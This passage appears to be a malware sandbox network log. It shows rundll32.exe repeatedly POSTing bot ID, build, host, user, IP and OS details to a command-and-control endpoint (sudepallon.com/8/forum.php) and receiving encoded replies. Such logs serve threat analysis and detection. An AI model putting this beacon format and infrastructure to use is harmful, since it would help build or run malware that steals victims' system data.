Jul 9, 2021 03:08:21.856353045 CEST	409	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:21.921952963 CEST	410	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 42 43 58 59 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cBCXYARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
104	192.168.2.22	49269	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:22.206753016 CEST	411	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:22.271627903 CEST	411	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 41 4b 50 5a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cAKPZARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
105	192.168.2.22	49270	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:22.556830883 CEST	412	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:22.627018929 CEST	412	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:24 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 42 4a 51 59 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cBJQYARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
106	192.168.2.22	49271	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:22.908633947 CEST	413	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:22.974059105 CEST	413	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:24 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 59 47 54 42 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cYGTBARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
107	192.168.2.22	49272	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:23.248574018 CEST	414	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:23.315418959 CEST	414	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:24 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4b 48 53 50 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cKHSPARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
108	192.168.2.22	49273	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:23.601582050 CEST	415	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:23.671098948 CEST	415	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:25 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 43 41 5a 58 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cCAZXARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
109	192.168.2.22	49274	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:23.947941065 CEST	416	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:24.016089916 CEST	417	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:25 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4b 4d 4e 50 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cKMNPARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.22	49176	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:07:45.926341057 CEST	302	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:07:45.997448921 CEST	302	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:07:47 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 48 53 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZHSAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
110	192.168.2.22	49275	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:24.293467045 CEST	417	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:24.360649109 CEST	418	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:25 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 41 5a 41 5a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cAZAZARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
111	192.168.2.22	49276	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:24.649777889 CEST	418	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:24.717736959 CEST	419	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:26 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 46 4d 4e 55 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cFMNUARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
112	192.168.2.22	49277	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:25.007976055 CEST	420	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:25.076436043 CEST	420	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:26 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 51 5a 41 4a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cQZAJARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
113	192.168.2.22	49278	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:25.357687950 CEST	421	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:25.424040079 CEST	421	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:27 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4e 5a 41 4d 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cNZAMARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
114	192.168.2.22	49279	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:25.697042942 CEST	422	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:25.764358997 CEST	422	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:27 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 54 4a 51 47 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cTJQGARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
115	192.168.2.22	49280	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:26.048697948 CEST	423	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:26.113642931 CEST	423	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:27 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 48 48 53 53 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cHHSSARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
116	192.168.2.22	49281	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:26.386363029 CEST	424	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:26.455526114 CEST	424	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 42 48 53 59 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cBHSYARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
117	192.168.2.22	49282	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:26.732578993 CEST	425	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:26.806164026 CEST	425	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 41 41 5a 5a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cAAZZARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
118	192.168.2.22	49283	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:27.087157965 CEST	426	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:27.156181097 CEST	427	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 54 4e 4d 47 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cTNMGARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
119	192.168.2.22	49284	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:27.427822113 CEST	427	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:27.499486923 CEST	428	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:29 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 59 47 54 42 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cYGTBARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.22	49177	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:07:46.310456038 CEST	307	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
